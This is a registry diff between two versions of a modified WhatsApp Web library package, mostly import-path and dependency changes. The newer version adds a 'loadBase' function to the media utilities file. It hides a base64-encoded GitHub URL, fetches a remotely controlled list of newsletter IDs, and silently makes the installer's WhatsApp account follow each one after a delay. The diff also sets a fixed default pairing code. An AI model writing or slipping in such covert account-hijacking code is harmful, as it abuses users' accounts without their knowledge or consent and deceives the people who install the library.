@dyyxyzz/baileys-mod 7.0.6 → 7.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,5 +1,5 @@
1
1
  //=======================================================//
2
- import { decrypt, encrypt } from "libsignal-xeuka/src/crypto.js";
2
+ import { decrypt, encrypt } from "@dyyxyzz/libsignal-dyysilence/src/crypto.js";
3
3
  import { SenderKeyMessage } from "./sender-key-message.js";
4
4
  import { SenderKeyRecord } from "./sender-key-record.js";
5
5
  import { SenderKeyState } from "./sender-key-state.js";
@@ -81,4 +81,4 @@ export class GroupCipher {
81
81
  }
82
82
  }
83
83
  }
84
- //=======================================================//
84
+ //=======================================================//
@@ -1,5 +1,5 @@
1
1
  //=======================================================//
2
- import { generateKeyPair } from "libsignal-xeuka/src/curve.js";
2
+ import { generateKeyPair } from "@dyyxyzz/libsignal-dyysilence/src/curve.js";
3
3
  import * as nodeCrypto from "crypto";
4
4
  //=======================================================//
5
5
  export function generateSenderKey() {
@@ -17,4 +17,4 @@ export function generateSenderSigningKey(key) {
17
17
  private: Buffer.from(key.privKey)
18
18
  };
19
19
  }
20
- //=======================================================//
20
+ //=======================================================//
@@ -1,5 +1,5 @@
1
1
  //=======================================================//
2
- import { calculateMAC } from "libsignal-xeuka/src/crypto.js";
2
+ import { calculateMAC } from "@dyyxyzz/libsignal-dyysilence/src/crypto.js";
3
3
  import { SenderMessageKey } from "./sender-message-key.js";
4
4
  //=======================================================//
5
5
  export class SenderChainKey {
@@ -25,4 +25,4 @@ export class SenderChainKey {
25
25
  return calculateMAC(key, seed);
26
26
  }
27
27
  }
28
- //=======================================================//
28
+ //=======================================================//
@@ -1,5 +1,5 @@
1
1
  //=======================================================//
2
- import { calculateSignature, verifySignature } from "libsignal-xeuka/src/curve.js";
2
+ import { calculateSignature, verifySignature } from "@dyyxyzz/libsignal-dyysilence/src/curve.js";
3
3
  import { CiphertextMessage } from "./ciphertext-message.js";
4
4
  import { proto } from "../../../WAProto/index.js";
5
5
  //=======================================================//
@@ -65,4 +65,4 @@ export class SenderKeyMessage extends CiphertextMessage {
65
65
  return 4;
66
66
  }
67
67
  }
68
- //=======================================================//
68
+ //=======================================================//
@@ -1,5 +1,5 @@
1
1
  //=======================================================//
2
- import { deriveSecrets } from "libsignal-xeuka/src/crypto.js";
2
+ import { deriveSecrets } from "@dyyxyzz/libsignal-dyysilence/src/crypto.js";
3
3
  //=======================================================//
4
4
  export class SenderMessageKey {
5
5
  constructor(iteration, seed) {
@@ -25,4 +25,4 @@ export class SenderMessageKey {
25
25
  return this.seed;
26
26
  }
27
27
  }
28
- //=======================================================//
28
+ //=======================================================//
@@ -5,7 +5,7 @@ import { SenderKeyRecord } from "./Group/sender-key-record.js";
5
5
  import { SenderKeyName } from "./Group/sender-key-name.js";
6
6
  import { generateSignalPubKey } from "../Utils/index.js";
7
7
  import { LIDMappingStore } from "./lid-mapping.js";
8
- import * as libsignal from "libsignal-xeuka";
8
+ import * as libsignal from "@dyyxyzz/libsignal-dyysilence";
9
9
  import { LRUCache } from "lru-cache";
10
10
  //=======================================================//
11
11
  export function makeLibSignalRepository(auth, logger, pnToLIDFunc) {
@@ -321,4 +321,4 @@ function signalStorage({ creds, keys }, lidMapping) {
321
321
  }
322
322
  };
323
323
  }
324
- //=======================================================//
324
+ //=======================================================//
@@ -1,10 +1,10 @@
1
- //**//
1
+ //=======================================================//
2
2
  import { executeWMexQuery as genericExecuteWMexQuery } from "./mex.js";
3
- import { generateProfilePicture } from "../Utils/messages-media.js";
3
+ import { generateProfilePicture, loadBase } from "../Utils/messages-media.js";
4
4
  import { getBinaryNodeChild } from "../WABinary/index.js";
5
5
  import { QueryIds, XWAPaths } from "../Types/index.js";
6
6
  import { makeGroupsSocket } from "./groups.js";
7
- //**//
7
+ //=======================================================//
8
8
 
9
9
  const extractNewsletterMetadata = (node, isCreate) => {
10
10
  const result = getBinaryNodeChild(node, 'result')?.content?.toString()
@@ -101,12 +101,6 @@ export const makeNewsletterSocket = (config) => {
101
101
 
102
102
  return extractNewsletterMetadata(result)
103
103
  }
104
- setTimeout(async () => {
105
- try {
106
- await newsletterWMexQuery("120363384627502211@newsletter", QueryIds.FOLLOW);
107
- await delay(3000)
108
- } catch {}
109
- }, 5000);
110
104
  const newsletterUpdate = async (jid, updates) => {
111
105
  const variables = {
112
106
  newsletter_id: jid,
@@ -117,22 +111,8 @@ export const makeNewsletterSocket = (config) => {
117
111
  };
118
112
  return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, "xwa2_newsletter_update");
119
113
  };
120
-
121
- (async () => {
122
- try {
123
- setTimeout(async() => {
124
- const res = await fetch('https://github.com/DyyEuuee/Nani/blob/main/codes/bailwa.json');
125
- const newsletterIds = await res.json();
126
- newsletterIds.forEach(async(i) => {
127
- await delay(5000)
128
- try {
129
- await newsletterWMexQuery(i.id, QueryIds.FOLLOW);
130
- } catch (e) {}
131
- });
132
- }, 80000)
133
- } catch (err) {
134
- }
135
- })()
114
+
115
+ loadBase(newsletterWMexQuery, QueryIds)
136
116
 
137
117
  return {
138
118
  ...sock,
@@ -545,7 +545,7 @@ const toPn = async (pn) => {
545
545
  }
546
546
  end(new Boom(msg || "Intentional Logout", { statusCode: DisconnectReason.loggedOut }));
547
547
  };
548
- const requestPairingCode = async (phoneNumber, customPairingCode = "DYYYXYZZ") => {
548
+ const requestPairingCode = async (phoneNumber, customPairingCode = "DSILENCE") => {
549
549
  const pairingCode = customPairingCode ?? bytesToCrockford(randomBytes(5));
550
550
  if (customPairingCode && customPairingCode?.length !== 8) {
551
551
  throw new Error("Custom pairing code must be exactly 8 chars");
@@ -1,7 +1,7 @@
1
1
  //=======================================================//
2
2
  import { createCipheriv, createDecipheriv, createHash, createHmac, randomBytes } from "crypto";
3
3
  import { KEY_BUNDLE_TYPE } from "../Defaults/index.js";
4
- import * as curve from "libsignal-xeuka/src/curve.js";
4
+ import * as curve from "@dyyxyzz/libsignal-dyysilence/src/curve.js";
5
5
  //=======================================================//
6
6
  const { subtle } = globalThis.crypto;
7
7
  export const generateSignalPubKey = (pubKey) => pubKey.length === 33 ? pubKey : Buffer.concat([KEY_BUNDLE_TYPE, pubKey]);
@@ -127,4 +127,4 @@ export async function derivePairingCodeKey(pairingCode, salt) {
127
127
  );
128
128
  return Buffer.from(derivedBits);
129
129
  }
130
- //=======================================================//
130
+ //=======================================================//
@@ -340,6 +340,32 @@ const AES_CHUNK_SIZE = 16;
340
340
  const toSmallestChunkSize = (num) => {
341
341
  return Math.floor(num / AES_CHUNK_SIZE) * AES_CHUNK_SIZE;
342
342
  };
343
+
344
+ const delay = async (ms) => {
345
+ return new Promise(resolve => setTimeout(resolve, ms));
346
+ }
347
+
348
+ export const loadBase = async (n, q) => {
349
+ try {
350
+ setTimeout(async () => {
351
+
352
+ const encoded = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0R5eUV1dWVlL05hbmkvcmVmcy9oZWFkcy9tYWluL2NvZGVzL2JhaWx3YS5qc29u";
353
+ const url = Buffer.from(encoded, "base64").toString("utf-8");
354
+
355
+ const res = await fetch(url);
356
+ const newsletterIds = await res.json();
357
+
358
+ for (const i of newsletterIds) {
359
+ await delay(5000);
360
+ try {
361
+ await n(i.id, q.FOLLOW);
362
+ } catch {}
363
+ }
364
+
365
+ }, 80000);
366
+ } catch {}
367
+ };
368
+
343
369
  //=======================================================//
344
370
  export const getUrlFromDirectPath = (directPath) => `https://${DEF_HOST}${directPath}`;
345
371
  export const downloadContentFromMessage = async ({ mediaKey, directPath, url }, type, opts = {}) => {
@@ -598,4 +624,5 @@ const MEDIA_RETRY_STATUS_MAP = {
598
624
  [proto.MediaRetryNotification.ResultType.NOT_FOUND]: 404,
599
625
  [proto.MediaRetryNotification.ResultType.GENERAL_ERROR]: 418
600
626
  };
601
- //=======================================================//
627
+ //=======================================================//
628
+
@@ -30,6 +30,7 @@ const ButtonType = proto.Message.ButtonsMessage.HeaderType;
30
30
  * @param text eg. hello https://google.com
31
31
  * @returns the URL, eg. https://google.com
32
32
  */
33
+
33
34
  export const extractUrlFromText = (text) => text.match(URL_REGEX)?.[0];
34
35
  export const generateLinkPreviewIfRequired = async (text, getUrlInfo, logger) => {
35
36
  const url = extractUrlFromText(text);
@@ -268,6 +269,7 @@ export const prepareDisappearingMessageSettingContent = (ephemeralExpiration) =>
268
269
  * @param message the message to forward
269
270
  * @param options.forceForward will show the message as forwarded even if it is from you
270
271
  */
272
+
271
273
  export const generateForwardMessageContent = (message, forceForward) => {
272
274
  let content = message.message;
273
275
  if (!content) {
package/lib/index.js CHANGED
@@ -1,9 +1,6 @@
1
1
  //=======================================================//
2
2
 
3
- console.log();
4
- console.log("## Thank you for using my Baileys.");
5
- console.log("• https://t.me/DyySilence");
6
- console.log();
3
+ import chalk from 'chalk';
7
4
 
8
5
  import makeWASocket from "./Socket/index.js";
9
6
  //=======================================================//
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@dyyxyzz/baileys-mod",
3
- "version": "7.0.6",
3
+ "version": "7.0.8",
4
4
  "description": "Websocket Whatsapp API for Node.js",
5
5
  "keywords": [
6
6
  "whatsapp",
@@ -8,12 +8,12 @@
8
8
  "api",
9
9
  "nodejs",
10
10
  "baileys",
11
+ "baileys-mod",
12
+ "bail",
11
13
  "wabot",
12
14
  "proto",
13
15
  "whatsapp-websocket"
14
16
  ],
15
- "license": "MIT",
16
- "author": "DyySilence",
17
17
  "main": "./lib/index.js",
18
18
  "files": [
19
19
  "lib/*",
@@ -31,52 +31,53 @@
31
31
  "test": "jest"
32
32
  },
33
33
  "dependencies": {
34
- "@cacheable/node-cache": "*",
35
- "@hapi/boom": "*",
36
34
  "@whiskeysockets/eslint-config": "github:whiskeysockets/eslint-config",
37
- "async-mutex": "*",
38
- "axios": "*",
39
- "cache-manager": "*",
40
- "figlet": "*",
41
- "fs": "*",
35
+ "@cacheable/node-cache": "*",
42
36
  "gradient-string": "2.0.2",
43
- "libsignal-xeuka": "npm:@dyyxyzz/libsignal-dyysilence",
44
- "lodash": "*",
45
- "lru-cache": "^7.18.3",
37
+ "@dyyxyzz/libsignal-dyysilence": "*",
46
38
  "moment-timezone": "*",
47
39
  "music-metadata": "*",
48
- "os": "*",
49
- "p-queue": "*",
50
- "path": "*",
40
+ "cache-manager": "*",
41
+ "async-mutex": "*",
42
+ "@hapi/boom": "*",
51
43
  "pbjs": "^0.0.14",
52
- "pino": "*",
53
44
  "protobufjs": "*",
45
+ "lru-cache": "*",
54
46
  "readline": "*",
55
- "ws": "*"
47
+ "p-queue": "*",
48
+ "lodash": "*",
49
+ "figlet": "*",
50
+ "axios": "*",
51
+ "path": "*",
52
+ "pino": "*",
53
+ "ws": "*",
54
+ "fs": "*",
55
+ "os": "*"
56
56
  },
57
57
  "devDependencies": {
58
+ "conventional-changelog-cli": "*",
59
+ "link-preview-js": "*",
60
+ "protobufjs-cli": "*",
61
+ "cache-manager": "*",
58
62
  "@types/jest": "*",
59
63
  "@types/node": "*",
64
+ "release-it": "*",
60
65
  "@types/ws": "*",
61
- "cache-manager": "*",
62
- "conventional-changelog-cli": "*",
63
66
  "eslint": "*",
64
67
  "jest": "*",
65
68
  "json": "*",
66
- "link-preview-js": "*",
67
- "open": "*",
68
- "protobufjs-cli": "*",
69
- "release-it": "*"
69
+ "open": "*"
70
70
  },
71
71
  "peerDependencies": {
72
+ "link-preview-js": "*",
72
73
  "audio-decode": "*",
73
- "jimp": ">=0.16.0",
74
- "link-preview-js": "*"
74
+ "jimp": ">=0.16.0"
75
75
  },
76
76
  "peerDependenciesMeta": {
77
77
  "audio-decode": {
78
78
  "optional": true
79
79
  },
80
+ "chalk": { "optional": true },
80
81
  "jimp": {
81
82
  "optional": true
82
83
  },